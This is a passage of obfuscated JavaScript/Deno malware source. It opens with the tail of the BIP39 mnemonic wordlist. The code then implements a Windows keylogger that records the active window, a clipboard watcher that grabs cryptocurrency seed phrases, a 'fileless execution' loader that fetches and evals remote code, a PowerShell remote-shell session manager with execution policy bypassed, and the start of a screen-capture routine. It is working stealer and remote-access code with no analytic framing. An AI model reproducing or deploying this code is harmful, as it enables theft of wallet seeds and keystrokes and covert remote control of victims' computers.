d\nisolate\nissue\nitem\nivory\njacket\njaguar\njar\njazz\njealous\njeans\njelly\njewel\njob\njoin\njoke\njourney\njoy\njudge\njuice\njump\njungle\njunior\njunk\njust\nkangaroo\nkeen\nkeep\nketchup\nkey\nkick\nkid\nkidney\nkind\nkingdom\nkiss\nkit\nkitchen\nkite\nkitten\nkiwi\nknee\nknife\nknock\nknow\nlab\nlabel\nlabor\nladder\nlady\nlake\nlamp\nlanguage\nlaptop\nlarge\nlater\nlatin\nlaugh\nlaundry\nlava\nlaw\nlawn\nlawsuit\nlayer\nlazy\nleader\nleaf\nlearn\nleave\nlecture\nleft\nleg\nlegal\nlegend\nleisure\nlemon\nlend\nlength\nlens\nleopard\nlesson\nletter\nlevel\nliar\nliberty\nlibrary\nlicense\nlife\nlift\nlight\nlike\nlimb\nlimit\nlink\nlion\nliquid\nlist\nlittle\nlive\nlizard\nload\nloan\nlobster\nlocal\nlock\nlogic\nlonely\nlong\nloop\nlottery\nloud\nlounge\nlove\nloyal\nlucky\nluggage\nlumber\nlunar\nlunch\nluxury\nlyrics\nmachine\nmad\nmagic\nmagnet\nmaid\nmail\nmain\nmajor\nmake\nmammal\nman\nmanage\nmandate\nmango\nmansion\nmanual\nmaple\nmarble\nmarch\nmargin\nmarine\nmarket\nmarriage\nmask\nmass\nmaster\nmatch\nmaterial\nmath\nmatrix\nmatter\nmaximum\nmaze\nmeadow\nmean\nmeasure\nmeat\nmechanic\nmedal\nmedia\nmelody\nmelt\nmember\nmemory\nmention\nmenu\nmercy\nmerge\nmerit\nmerry\nmesh\nmessage\nmetal\nmethod\nmiddle\nmidnight\nmilk\nmillion\nmimic\nmind\nminimum\nminor\nminute\nmiracle\nmirror\nmisery\nmiss\nmistake\nmix\nmixed\nmixture\nmobile\nmodel\nmodify\nmom\nmoment\nmonitor\nmonkey\nmonster\nmonth\nmoon\nmoral\nmore\nmorning\nmosquito\nmother\nmotion\nmotor\nmountain\nmouse\nmove\nmovie\nmuch\nmuffin\nmule\nmultiply\nmuscle\nmuseum\nmushroom\nmusic\nmust\nmutual\nmyself\nmystery\nmyth\nnaive\nname\nnapkin\nnarrow\nnasty\nnation\nnature\nnear\nneck\nneed\nnegative\nneglect\nneither\nnephew\nnerve\nnest\nnet\nnetwork\nneutral\nnever\nnews\nnext\nnice\nnight\nnoble\nnoise\nnominee\nnoodle\nnormal\nnorth\nnose\nnotable\nnote\nnothing\nnotice\nnovel\nnow\nnuclear\nnumber\nnurse\nnut\noak\nobey\nobject\noblige\nobscure\nobserve\nobtain\nobvious\noccur\nocean\noctober\nodor\noff\noffer\noffice\noften\noil\nokay\nold\nolive\nolympic\nomit\nonce\none\nonion\nonline\nonly\nopen\nopera\nopinion\noppose\noption\norange\norbit\norchard\norder\nordinary\norgan\norient\noriginal\norphan\nostrich\nother\noutdoor\nouter\noutput\noutside\noval\noven\nover\nown\nowner\noxygen\noyster\nozone\npact\npaddle\npage\npair\npalace\npalm\npanda\npanel\npanic\npanther\npaper\nparade\nparent\npark\nparrot\nparty\npass\npatch\npath\npatient\npatrol\npattern\npause\npave\npayment\npeace\npeanut\npear\npeasant\npelican\npen\npenalty\npencil\npeople\npepper\nperfect\npermit\nperson\npet\nphone\nphoto\nphrase\nphysical\npiano\npicnic\npicture\npiece\npig\npigeon\npill\npilot\npink\npioneer\npipe\npistol\npitch\npizza\nplace\nplanet\nplastic\nplate\nplay\nplease\npledge\npluck\nplug\nplunge\npoem\npoet\npoint\npolar\npole\npolice\npond\npony\npool\npopular\nportion\nposition\npossible\npost\npotato\npottery\npoverty\npowder\npower\npractice\npraise\npredict\nprefer\nprepare\npresent\npretty\nprevent\nprice\npride\nprimary\nprint\npriority\nprison\nprivate\nprize\nproblem\nprocess\nproduce\nprofit\nprogram\nproject\npromote\nproof\nproperty\nprosper\nprotect\nproud\nprovide\npublic\npudding\npull\npulp\npulse\npumpkin\npunch\npupil\npuppy\npurchase\npurity\npurpose\npurse\npush\nput\npuzzle\npyramid\nquality\nquantum\nquarter\nquestion\nquick\nquit\nquiz\nquote\nrabbit\nraccoon\nrace\nrack\nradar\nradio\nrail\nrain\nraise\nrally\nramp\nranch\nrandom\nrange\nrapid\nrare\nrate\nrather\nraven\nraw\nrazor\nready\nreal\nreason\nrebel\nrebuild\nrecall\nreceive\nrecipe\nrecord\nrecycle\nreduce\nreflect\nreform\nrefuse\nregion\nregret\nregular\nreject\nrelax\nrelease\nrelief\nrely\nremain\nremember\nremind\nremove\nrender\nrenew\nrent\nreopen\nrepair\nrepeat\nreplace\nreport\nrequire\nrescue\nresemble\nresist\nresource\nresponse\nresult\nretire\nretreat\nreturn\nreunion\nreveal\nreview\nreward\nrhythm\nrib\nribbon\nrice\nrich\nride\nridge\nrifle\nright\nrigid\nring\nriot\nripple\nrisk\nritual\nrival\nriver\nroad\nroast\nrobot\nrobust\nrocket\nromance\nroof\nrookie\nroom\nrose\nrotate\nrough\nround\nroute\nroyal\nrubber\nrude\nrug\nrule\nrun\nrunway\nrural\nsad\nsaddle\nsadness\nsafe\nsail\nsalad\nsalmon\nsalon\nsalt\nsalute\nsame\nsample\nsand\nsatisfy\nsatoshi\nsauce\nsausage\nsave\nsay\nscale\nscan\nscare\nscatter\nscene\nscheme\nschool\nscience\nscissors\nscorpion\nscout\nscrap\nscreen\nscript\nscrub\nsea\nsearch\nseason\nseat\nsecond\nsecret\nsection\nsecurity\nseed\nseek\nsegment\nselect\nsell\nseminar\nsenior\nsense\nsentence\nseries\nservice\nsession\nsettle\nsetup\nseven\nshadow\nshaft\nshallow\nshare\nshed\nshell\nsheriff\nshield\nshift\nshine\nship\nshiver\nshock\nshoe\nshoot\nshop\nshort\nshoulder\nshove\nshrimp\nshrug\nshuffle\nshy\nsibling\nsick\nside\nsiege\nsight\nsign\nsilent\nsilk\nsilly\nsilver\nsimilar\nsimple\nsince\nsing\nsiren\nsister\nsituate\nsix\nsize\nskate\nsketch\nski\nskill\nskin\nskirt\nskull\nslab\nslam\nsleep\nslender\nslice\nslide\nslight\nslim\nslogan\nslot\nslow\nslush\nsmall\nsmart\nsmile\nsmoke\nsmooth\nsnack\nsnake\nsnap\nsniff\nsnow\nsoap\nsoccer\nsocial\nsock\nsoda\nsoft\nsolar\nsoldier\nsolid\nsolution\nsolve\nsomeone\nsong\nsoon\nsorry\nsort\nsoul\nsound\nsoup\nsource\nsouth\nspace\nspare\nspatial\nspawn\nspeak\nspecial\nspeed\nspell\nspend\nsphere\nspice\nspider\nspike\nspin\nspirit\nsplit\nspoil\nsponsor\nspoon\nsport\nspot\nspray\nspread\nspring\nspy\nsquare\nsqueeze\nsquirrel\nstable\nstadium\nstaff\nstage\nstairs\nstamp\nstand\nstart\nstate\nstay\nsteak\nsteel\nstem\nstep\nstereo\nstick\nstill\nsting\nstock\nstomach\nstone\nstool\nstory\nstove\nstrategy\nstreet\nstrike\nstrong\nstruggle\nstudent\nstuff\nstumble\nstyle\nsubject\nsubmit\nsubway\nsuccess\nsuch\nsudden\nsuffer\nsugar\nsuggest\nsuit\nsummer\nsun\nsunny\nsunset\nsuper\nsupply\nsupreme\nsure\nsurface\nsurge\nsurprise\nsurround\nsurvey\nsuspect\nsustain\nswallow\nswamp\nswap\nswarm\nswear\nsweet\nswift\nswim\nswing\nswitch\nsword\nsymbol\nsymptom\nsyrup\nsystem\ntable\ntackle\ntag\ntail\ntalent\ntalk\ntank\ntape\ntarget\ntask\ntaste\ntattoo\ntaxi\nteach\nteam\ntell\nten\ntenant\ntennis\ntent\nterm\ntest\ntext\nthank\nthat\ntheme\nthen\ntheory\nthere\nthey\nthing\nthis\nthought\nthree\nthrive\nthrow\nthumb\nthunder\nticket\ntide\ntiger\ntilt\ntimber\ntime\ntiny\ntip\ntired\ntissue\ntitle\ntoast\ntobacco\ntoday\ntoddler\ntoe\ntogether\ntoilet\ntoken\ntomato\ntomorrow\ntone\ntongue\ntonight\ntool\ntooth\ntop\ntopic\ntopple\ntorch\ntornado\ntortoise\ntoss\ntotal\ntourist\ntoward\ntower\ntown\ntoy\ntrack\ntrade\ntraffic\ntragic\ntrain\ntransfer\ntrap\ntrash\ntravel\ntray\ntreat\ntree\ntrend\ntrial\ntribe\ntrick\ntrigger\ntrim\ntrip\ntrophy\ntrouble\ntruck\ntrue\ntruly\ntrumpet\ntrust\ntruth\ntry\ntube\ntuition\ntumble\ntuna\ntunnel\nturkey\nturn\nturtle\ntwelve\ntwenty\ntwice\ntwin\ntwist\ntwo\ntype\ntypical\nugly\numbrella\nunable\nunaware\nuncle\nuncover\nunder\nundo\nunfair\nunfold\nunhappy\nuniform\nunique\nunit\nuniverse\nunknown\nunlock\nuntil\nunusual\nunveil\nupdate\nupgrade\nuphold\nupon\nupper\nupset\nurban\nurge\nusage\nuse\nused\nuseful\nuseless\nusual\nutility\nvacant\nvacuum\nvague\nvalid\nvalley\nvalve\nvan\nvanish\nvapor\nvarious\nvast\nvault\nvehicle\nvelvet\nvendor\nventure\nvenue\nverb\nverify\nversion\nvery\nvessel\nveteran\nviable\nvibrant\nvicious\nvictory\nvideo\nview\nvillage\nvintage\nviolin\nvirtual\nvirus\nvisa\nvisit\nvisual\nvital\nvivid\nvocal\nvoice\nvoid\nvolcano\nvolume\nvote\nvoyage\nwage\nwagon\nwait\nwalk\nwall\nwalnut\nwant\nwarfare\nwarm\nwarrior\nwash\nwasp\nwaste\nwater\nwave\nway\nwealth\nweapon\nwear\nweasel\nweather\nweb\nwedding\nweekend\nweird\nwelcome\nwest\nwet\nwhale\nwhat\nwheat\nwheel\nwhen\nwhere\nwhip\nwhisper\nwide\nwidth\nwife\nwild\nwill\nwin\nwindow\nwine\nwing\nwink\nwinner\nwinter\nwire\nwisdom\nwise\nwish\nwitness\nwolf\nwoman\nwonder\nwood\nwool\nword\nwork\nworld\nworry\nworth\nwrap\nwreck\nwrestle\nwrist\nwrite\nwrong\nyard\nyear\nyellow\nyou\nyoung\nyouth\nzebra\nzero\nzone\nzoo".split('\x0a'), | |
| CF_UNICODETEXT = 0xd, | |
| MAX_CLIPBOARD_SIZE_KB = 0x400, | |
| user32 = null, | |
| kernel322 = null; | |
| function loadDlls() { | |
| if (user32 && kernel322) { | |
| return; | |
| } | |
| user32 = Deno.dlopen("user32.dll", { | |
| GetForegroundWindow: { | |
| parameters: [], | |
| result: "pointer" | |
| }, | |
| GetWindowTextW: { | |
| parameters: ["pointer", "buffer", 'i32'], | |
| result: 'i32' | |
| }, | |
| GetWindowThreadProcessId: { | |
| parameters: ["pointer", "pointer"], | |
| result: 'u32' | |
| }, | |
| GetKeyboardLayout: { | |
| parameters: ["u32"], | |
| result: "pointer" | |
| }, | |
| GetAsyncKeyState: { | |
| parameters: ['i32'], | |
| result: "i16" | |
| }, | |
| MapVirtualKeyExW: { | |
| parameters: ['u32', 'u32', "pointer"], | |
| result: 'u32' | |
| }, | |
| ToUnicodeEx: { | |
| parameters: ["u32", 'u32', "buffer", "buffer", 'i32', 'u32', "pointer"], | |
| result: 'i32' | |
| }, | |
| OpenClipboard: { | |
| parameters: ["pointer"], | |
| result: "i32" | |
| }, | |
| CloseClipboard: { | |
| parameters: [], | |
| result: "i32" | |
| }, | |
| GetClipboardData: { | |
| parameters: ['u32'], | |
| result: "pointer" | |
| }, | |
| GetClipboardSequenceNumber: { | |
| parameters: [], | |
| result: 'u32' | |
| } | |
| }); | |
| kernel322 = Deno.dlopen("kernel32.dll", { | |
| GlobalLock: { | |
| parameters: ["pointer"], | |
| result: "pointer" | |
| }, | |
| GlobalUnlock: { | |
| parameters: ["pointer"], | |
| result: "i32" | |
| }, | |
| GlobalSize: { | |
| parameters: ["pointer"], | |
| result: "usize" | |
| } | |
| }); | |
| } | |
| function getActiveWindowTitle() { | |
| try { | |
| if (!user32) { | |
| return "Unknown"; | |
| } | |
| const _0x1fc26f = user32.symbols.GetForegroundWindow(); | |
| if (!_0x1fc26f || _0x1fc26f === null) { | |
| return "Unknown"; | |
| } | |
| const _0x5317d8 = new Uint16Array(0x200), | |
| _0x1f8f35 = user32.symbols.GetWindowTextW(_0x1fc26f, _0x5317d8, 0x200); | |
| if (_0x1f8f35 === 0x0) { | |
| return "Unknown"; | |
| } | |
| return new TextDecoder("utf-16le").decode(new Uint8Array(_0x5317d8.buffer, 0x0, _0x1f8f35 * 0x2)); | |
| } catch { | |
| return "Unknown"; | |
| } | |
| } | |
| var keyboardState = { | |
| accumulatedText: '', | |
| lastKeyTime: Date.now(), | |
| currentWindow: '', | |
| prevState: new Map() | |
| }, | |
| KEYS_TO_MONITOR = [...Array.from({ | |
| length: 0x1a | |
| }, (_0x65af53, _0x51c0a6) => 0x41 + _0x51c0a6), ...Array.from({ | |
| length: 0xa | |
| }, (_0x17eca1, _0x287f9a) => 0x30 + _0x287f9a), ...Array.from({ | |
| length: 0xa | |
| }, (_0x2b1ca3, _0xa6df63) => 0x60 + _0xa6df63), 0x20, 0xd, 0x8, 0x9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf, 0xc0, 0xdb, 0xdc, 0xdd, 0xde, 0x6a, 0x6b, 0x6d, 0x6e, 0x6f]; | |
| async function waitKeyboardLog() { | |
| loadDlls(); | |
| if (!user32) { | |
| throw new Error("Failed to load user32.dll"); | |
| } | |
| keyboardState.accumulatedText = ''; | |
| keyboardState.lastKeyTime = Date.now(); | |
| keyboardState.currentWindow = getActiveWindowTitle(); | |
| keyboardState.prevState.clear(); | |
| let _0x3b659c = 0x0; | |
| while (true) { | |
| _0x3b659c++; | |
| const _0x2cbc0e = user32.symbols.GetForegroundWindow(), | |
| _0x26d3b3 = user32.symbols["GetWindowThreadProcessId"](_0x2cbc0e, null), | |
| _0x4e6752 = user32.symbols.GetKeyboardLayout(_0x26d3b3), | |
| _0xcd8647 = new Uint8Array(0x100); | |
| if (user32.symbols.GetAsyncKeyState(0x10) < 0x0) { | |
| _0xcd8647[0x10] = 0x80; | |
| } | |
| if (user32.symbols.GetAsyncKeyState(0x11) < 0x0) { | |
| _0xcd8647[0x11] = 0x80; | |
| } | |
| if (user32.symbols.GetAsyncKeyState(0x12) < 0x0) { | |
| _0xcd8647[0x12] = 0x80; | |
| } | |
| if ((user32.symbols.GetAsyncKeyState(0x14) & 0x1) !== 0x0) { | |
| _0xcd8647[0x14] = 0x1; | |
| } | |
| let _0x313b25 = 0x0; | |
| for (const _0x2ee2ca of KEYS_TO_MONITOR) { | |
| const _0x3233d5 = user32.symbols.GetAsyncKeyState(_0x2ee2ca), | |
| _0x3348cc = _0x3233d5 < 0x0, | |
| _0x234182 = keyboardState.prevState.get(_0x2ee2ca) || false; | |
| if (_0x3348cc) { | |
| _0x313b25++; | |
| } | |
| if (_0x3348cc && !_0x234182) { | |
| const _0x5b0be2 = user32.symbols.MapVirtualKeyExW(_0x2ee2ca, 0x0, _0x4e6752); | |
| _0xcd8647[_0x2ee2ca] = 0x80; | |
| const _0x43e105 = new Uint16Array(0x5), | |
| _0x27704d = user32.symbols.ToUnicodeEx(_0x2ee2ca, _0x5b0be2, _0xcd8647, _0x43e105, 0x5, 0x0, _0x4e6752); | |
| if (_0x27704d > 0x0) { | |
| const _0x1c73ba = new TextDecoder("utf-16le").decode(new Uint8Array(_0x43e105.buffer, 0x0, _0x27704d * 0x2)); | |
| keyboardState.accumulatedText += _0x1c73ba; | |
| keyboardState.lastKeyTime = Date.now(); | |
| } | |
| } | |
| keyboardState.prevState.set(_0x2ee2ca, _0x3348cc); | |
| } | |
| await new Promise(_0x3a5cda => setTimeout(_0x3a5cda, 0x64)); | |
| const _0x2c3816 = Date.now() - keyboardState.lastKeyTime, | |
| _0xaca637 = keyboardState.accumulatedText; | |
| if (Date.now() % 0x3e8 < 0x32) { | |
| const _0x2f80c7 = getActiveWindowTitle(); | |
| if (_0x2f80c7 !== keyboardState.currentWindow) { | |
| keyboardState.currentWindow = _0x2f80c7; | |
| } | |
| } | |
| if (_0x2c3816 > 0x2710 && _0xaca637.length > 0x0) { | |
| const _0x10d432 = keyboardState.currentWindow; | |
| keyboardState.accumulatedText = ''; | |
| keyboardState.lastKeyTime = Date.now(); | |
| return { | |
| focusApp: _0x10d432, | |
| text: _0xaca637 | |
| }; | |
| } | |
| } | |
| } | |
| function getClipboardText() { | |
| try { | |
| if (!user32 || !kernel322) { | |
| return null; | |
| } | |
| if (user32.symbols.OpenClipboard(null) === 0x0) { | |
| return null; | |
| } | |
| try { | |
| const _0x25a187 = user32.symbols.GetClipboardData(CF_UNICODETEXT); | |
| if (!_0x25a187 || _0x25a187 === null) { | |
| return null; | |
| } | |
| const _0x57a9f9 = kernel322.symbols.GlobalLock(_0x25a187); | |
| if (!_0x57a9f9 || _0x57a9f9 === null) { | |
| return null; | |
| } | |
| try { | |
| const _0x2a4d1a = Number(kernel322.symbols.GlobalSize(_0x25a187)); | |
| if (_0x2a4d1a > MAX_CLIPBOARD_SIZE_KB) { | |
| return null; | |
| } | |
| const _0x22549e = new Deno.UnsafePointerView(_0x57a9f9), | |
| _0x5d437 = new Uint16Array(_0x2a4d1a / 0x2); | |
| for (let _0x1a3c84 = 0x0; _0x1a3c84 < _0x5d437.length; _0x1a3c84++) { | |
| const _0x4ae721 = _0x22549e.getUint16(_0x1a3c84 * 0x2); | |
| if (_0x4ae721 === 0x0) { | |
| const _0x132ba8 = new TextDecoder("utf-16le").decode(new Uint8Array(_0x5d437.buffer, 0x0, _0x1a3c84 * 0x2)); | |
| if (_0x132ba8.length > 0x0) { | |
| return _0x132ba8; | |
| } | |
| return null; | |
| } | |
| _0x5d437[_0x1a3c84] = _0x4ae721; | |
| } | |
| const _0x857944 = new TextDecoder("utf-16le").decode(new Uint8Array(_0x5d437.buffer)); | |
| if (_0x857944.length > 0x0) { | |
| return _0x857944; | |
| } | |
| return null; | |
| } finally { | |
| kernel322.symbols.GlobalUnlock(_0x25a187); | |
| } | |
| } finally { | |
| user32.symbols.CloseClipboard(); | |
| } | |
| } catch { | |
| return null; | |
| } | |
| } | |
| function isBIP39Seed(_0x5df7c0) { | |
| try { | |
| const _0x3344c8 = _0x5df7c0.trim().replace(/\s+/g, '\x20').toLowerCase(), | |
| _0x3f0983 = _0x3344c8.split('\x20').length; | |
| if (![0xc, 0xf, 0x12, 0x15, 0x18].includes(_0x3f0983)) { | |
| return false; | |
| } | |
| return validateMnemonic(_0x3344c8, wordlist); | |
| } catch { | |
| return false; | |
| } | |
| } | |
| async function waitClipboardLog() { | |
| loadDlls(); | |
| if (!user32) { | |
| throw new Error("Failed to load user32.dll"); | |
| } | |
| let _0x1c7b47 = 0x0; | |
| while (true) { | |
| await new Promise(_0x404398 => setTimeout(_0x404398, 0x1f4)); | |
| const _0x1a25bc = user32.symbols["GetClipboardSequenceNumber"](); | |
| if (_0x1a25bc !== _0x1c7b47 && _0x1c7b47 !== 0x0) { | |
| const _0x232cb2 = getClipboardText(); | |
| if (_0x232cb2 && isBIP39Seed(_0x232cb2)) { | |
| const _0x341358 = getActiveWindowTitle(); | |
| console.log("BIP39 seed detected! " + _0x232cb2.split('\x20').length + " words from " + _0x341358); | |
| return { | |
| focusApp: _0x341358, | |
| clipboard: _0x232cb2 | |
| }; | |
| } | |
| } | |
| _0x1c7b47 = _0x1a25bc; | |
| } | |
| } | |
| var import_node_child_process = require('node:child_process'), | |
| import_node_process = __toESM(require('node:process')); | |
| function runModule(_0x545ee8) { | |
| const { | |
| name: _0x17f6dc, | |
| moduleUrl: _0x43c5a2 | |
| } = _0x545ee8; | |
| console.log('[' + _0x17f6dc + "] Starting fileless execution from " + _0x43c5a2 + "..."); | |
| const _0x44b9b6 = "import{createRequire}from\"node:module\";globalThis.require=createRequire(\"file:///\");globalThis.module={exports:{}};globalThis.exports=globalThis.module.exports;globalThis.__filename=\"file:///module.cjs\";globalThis.__dirname=\"file:///\";eval(await(await fetch(\"" + _0x43c5a2 + "\")).text())", | |
| _0x444d1c = "data:application/javascript," + encodeURIComponent(_0x44b9b6); | |
| return new Promise(_0x32b6f1 => { | |
| const _0x4e2ce4 = (0x0, import_node_child_process.spawn)("deno", ["run", '-A', _0x444d1c], { | |
| stdio: ["inherit", "pipe", "pipe"], | |
| env: import_node_process["default"].env | |
| }); | |
| _0x4e2ce4.stdout?.['on']("data", _0x21cd61 => { | |
| console.log('[' + _0x17f6dc + ']\x20' + _0x21cd61.toString().trimEnd()); | |
| }); | |
| _0x4e2ce4.stderr?.['on']("data", _0x4a53df => { | |
| console.error('[' + _0x17f6dc + ']\x20' + _0x4a53df.toString().trimEnd()); | |
| }); | |
| _0x4e2ce4.on("close", _0x3ffb6d => { | |
| console.log('[' + _0x17f6dc + "] Process exited with code " + _0x3ffb6d); | |
| _0x32b6f1(_0x3ffb6d); | |
| }); | |
| _0x4e2ce4.on("error", _0x4d1ef1 => { | |
| console.error('[' + _0x17f6dc + "] Failed to start process:", _0x4d1ef1); | |
| _0x32b6f1(null); | |
| }); | |
| }); | |
| } | |
| var import_node_net = require('node:net'), | |
| mutexServer = null; | |
| async function createMutex(_0x4ac722) { | |
| return new Promise(_0x232f46 => { | |
| let _0x21f4c7 = 0x0; | |
| const _0x5a6b6d = 0xa; | |
| let _0x268955 = false, | |
| _0x57531a; | |
| const _0x4032e3 = _0x2b0e20 => { | |
| if (!_0x268955) { | |
| _0x268955 = true; | |
| if (_0x57531a) { | |
| clearInterval(_0x57531a); | |
| } | |
| _0x232f46(_0x2b0e20); | |
| } | |
| }, | |
| _0x2d72ec = () => { | |
| if (_0x268955) { | |
| return; | |
| } | |
| _0x21f4c7++; | |
| console.log('[' + new Date().toISOString() + "] Mutex attempt " + _0x21f4c7 + '/' + _0x5a6b6d); | |
| try { | |
| mutexServer = (0x0, import_node_net.createServer)(); | |
| mutexServer.on("error", _0x205698 => { | |
| if (_0x205698.code === "EADDRINUSE") { | |
| console.log('[' + new Date().toISOString() + "] Port " + _0x4ac722 + " is in use, attempt " + _0x21f4c7 + '/' + _0x5a6b6d); | |
| if (_0x21f4c7 >= _0x5a6b6d) { | |
| console.log('[' + new Date().toISOString() + "] Max attempts reached, another instance is running"); | |
| _0x4032e3(false); | |
| } | |
| } else { | |
| console.error('[' + new Date().toISOString() + "] Mutex error:", _0x205698); | |
| _0x4032e3(false); | |
| } | |
| }); | |
| mutexServer.listen(_0x4ac722, "127.0.0.1", () => { | |
| console.log('[' + new Date().toISOString() + "] Mutex acquired on port " + _0x4ac722 + " (attempt " + _0x21f4c7 + ')'); | |
| _0x4032e3(true); | |
| }); | |
| } catch (_0x185b71) { | |
| console.error('[' + new Date().toISOString() + "] Failed to create mutex (attempt " + _0x21f4c7 + '):', _0x185b71); | |
| if (_0x21f4c7 >= _0x5a6b6d) { | |
| _0x4032e3(false); | |
| } | |
| } | |
| }; | |
| _0x2d72ec(); | |
| _0x57531a = setInterval(() => { | |
| if (_0x21f4c7 < _0x5a6b6d && !_0x268955) { | |
| _0x2d72ec(); | |
| } else { | |
| clearInterval(_0x57531a); | |
| } | |
| }, 0x3e8); | |
| }); | |
| } | |
| var PtySessionManager = class { | |
| sessions = new Map(); | |
| cleanupInterval; | |
| outputCallback = null; | |
| constructor() { | |
| this.cleanupInterval = setInterval(() => { | |
| this.cleanupIdleSessions(); | |
| }, 300000); | |
| } | |
| setOutputCallback(_0x508bed) { | |
| this.outputCallback = _0x508bed; | |
| } | |
| async startSession(_0x511c44, _0x3ceb65 = 0x50, _0xe4b997 = 0x18) { | |
| if (this.sessions.has(_0x511c44)) { | |
| console.log("PTY session " + _0x511c44 + " already exists"); | |
| return; | |
| } | |
| console.log("Starting new PTY session: " + _0x511c44 + '\x20(' + _0x3ceb65 + 'x' + _0xe4b997 + ')'); | |
| try { | |
| const _0x3de0c5 = ["https://jsr.io/@sigma/pty-ffi/0.39.1/mod.ts"].join(''), | |
| { | |
| Pty: _0x8f6e4e | |
| } = await import(_0x3de0c5), | |
| _0x3bfb2d = new _0x8f6e4e("powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass"); | |
| try { | |
| _0x3bfb2d.resize({ | |
| cols: _0x3ceb65, | |
| rows: _0xe4b997 | |
| }); | |
| } catch {} | |
| const _0x132050 = { | |
| id: _0x511c44, | |
| pty: _0x3bfb2d, | |
| lastActivityTime: Date.now(), | |
| isReading: true | |
| }; | |
| this.sessions.set(_0x511c44, _0x132050); | |
| this.startBackgroundReader(_0x132050); | |
| console.log("PTY session " + _0x511c44 + " initialized and reader started"); | |
| } catch (_0x2641ed) { | |
| console.error("Failed to start PTY session " + _0x511c44 + ':', _0x2641ed); | |
| console.error("This may be caused by security policy blocking unsigned DLLs"); | |
| throw new Error("PTY not available: " + (_0x2641ed instanceof Error ? _0x2641ed.message : "Unknown error")); | |
| } | |
| } | |
| async startBackgroundReader(_0x370edc) { | |
| try { | |
| for await (const _0x3a06eb of _0x370edc.pty.readable) { | |
| if (!_0x370edc.isReading) { | |
| break; | |
| } | |
| if (_0x3a06eb && this.outputCallback) { | |
| this.outputCallback(_0x370edc.id, _0x3a06eb); | |
| } | |
| } | |
| } catch {} | |
| } | |
| writeInput(_0x58d9b2, _0x3d7a3f) { | |
| const _0x41af5f = this.sessions.get(_0x58d9b2); | |
| if (!_0x41af5f) { | |
| console.error("PTY session " + _0x58d9b2 + " not found"); | |
| return; | |
| } | |
| _0x41af5f.lastActivityTime = Date.now(); | |
| _0x41af5f.pty.write(_0x3d7a3f); | |
| } | |
| resize(_0x2eeb50, _0x1c7f2a, _0x3a7a83) { | |
| const _0x242075 = this.sessions.get(_0x2eeb50); | |
| if (!_0x242075) { | |
| console.error("PTY session " + _0x2eeb50 + " not found"); | |
| return; | |
| } | |
| _0x242075.lastActivityTime = Date.now(); | |
| _0x242075.pty.resize({ | |
| cols: _0x1c7f2a, | |
| rows: _0x3a7a83 | |
| }); | |
| } | |
| stopSession(_0x5090df) { | |
| const _0x31ab44 = this.sessions.get(_0x5090df); | |
| console.log("Stopping PTY session: " + _0x5090df); | |
| _0x31ab44.isReading = false; | |
| _0x31ab44.pty.close(); | |
| if (_0x31ab44) { | |
| this.sessions["delete"](_0x5090df); | |
| } else { | |
| console.log("PTY session " + _0x5090df + " not found (already stopped or never started)"); | |
| } | |
| } | |
| hasSession(_0x10c9eb) { | |
| return this.sessions.has(_0x10c9eb); | |
| } | |
| cleanupIdleSessions() { | |
| const _0x27e5e8 = Date.now(), | |
| _0x21e0be = 1800000; | |
| for (const [_0x143ca2, _0xa67d1a] of this.sessions) { | |
| if (_0x27e5e8 - _0xa67d1a.lastActivityTime > _0x21e0be) { | |
| console.log("Cleaning up idle PTY session " + _0x143ca2); | |
| this.stopSession(_0x143ca2); | |
| } | |
| } | |
| } | |
| destroy() { | |
| clearInterval(this.cleanupInterval); | |
| for (const [_0x3c6529] of this.sessions) { | |
| this.stopSession(_0x3c6529); | |
| } | |
| } | |
| }, | |
| ptySessionManager = new PtySessionManager(), | |
| import_jpeg_js = __toESM(require_jpeg_js()), | |
| HWND = "pointer", | |
| HDC = "pointer", | |
| HBITMAP = "pointer", | |
| HGDIOBJ = "pointer", | |
| user322 = Deno.dlopen("user32.dll", { | |
| GetDesktopWindow: { | |
| parameters: [], | |
| result: HWND | |
| }, | |
| GetDC: { | |
| parameters: [HWND], | |
| result: HDC | |
| }, | |
| ReleaseDC: { | |
| parameters: [HWND, HDC], | |
| result: "i32" | |
| }, | |
| GetSystemMetrics: { | |
| parameters: ['i32'], | |
| result: "i32" | |
| } | |
| }), | |
| shcore = Deno.dlopen("shcore.dll", { | |
| SetProcessDpiAwareness: { | |
| parameters: ["i32"], | |
| result: "i32" | |
| } | |
| }), | |
| gdi32 = Deno.dlopen("gdi32.dll", { | |
| CreateCompatibleDC: { | |
| parameters: [HDC], | |
| result: HDC | |
| }, | |
| CreateCompatibleBitmap: { | |
| parameters: [HDC, 'i32', 'i32'], | |
| result: HBITMAP | |
| }, | |
| SelectObject: { | |
| parameters: [HDC, HGDIOBJ], | |
| result: HGDIOBJ | |
| }, | |
| BitBlt: { | |
| parameters: [HDC, "i32", 'i32', 'i32', 'i32', HDC, 'i32', "i32", "u32"], | |
| result: 'i32' | |
| }, | |
| StretchBlt: { | |
| parameters: [HDC, "i32", "i32", "i32", "i32", HDC, "i32", 'i32', "i32", 'i32', "u32"], | |
| result: 'i32' | |
| }, | |
| GetDIBits: { | |
| parameters: [HDC, HBITMAP, 'u32', 'u32', "pointer", "pointer", 'u32'], | |
| result: 'i32' | |
| }, | |
| DeleteObject: { | |
| parameters: [HGDIOBJ], | |
| result: "i32" | |
| }, | |
| DeleteDC: { | |
| parameters: [HDC], | |
| result: 'i32' | |
| } | |
| }), | |
| SM_XVIRTUALSCREEN = 0x4c, | |
| SM_YVIRTUALSCREEN = 0x4d, | |
| SM_CXVIRTUALSCREEN = 0x4e, | |
| SM_CYVIRTUALSCREEN = 0x4f, | |
| SRCCOPY = 0xcc0020, | |
| DIB_RGB_COLORS = 0x0, | |
| BI_RGB = 0x0, | |
| PROCESS_PER_MONITOR_DPI_AWARE = 0x2; | |
| function createBitmapInfoHeader(_0x100efe, _0xf05bf4) { | |
| const _0x3df70c = new ArrayBuffer(0x28), | |
| _0x566cb4 = new DataView(_0x3df70c); | |
| _0x566cb4.setUint32(0x0, 0x28, true); | |
| _0x566cb4.setInt32(0x4, _0x100efe, true); | |
| _0x566cb4.setInt32(0x8, -_0xf05bf4, true); | |
| _0x566cb4.setUint16(0xc, 0x1, true); | |
| _0x566cb4.setUint16(0xe, 0x20, true); | |
| _0x566cb4.setUint32(0x10, BI_RGB, true); | |
| _0x566cb4.setUint32(0x14, 0x0, true); | |
| _0x566cb4.setInt32(0x18, 0x0, true); | |
| _0x566cb4.setInt32(0x1c, 0x0, true); | |
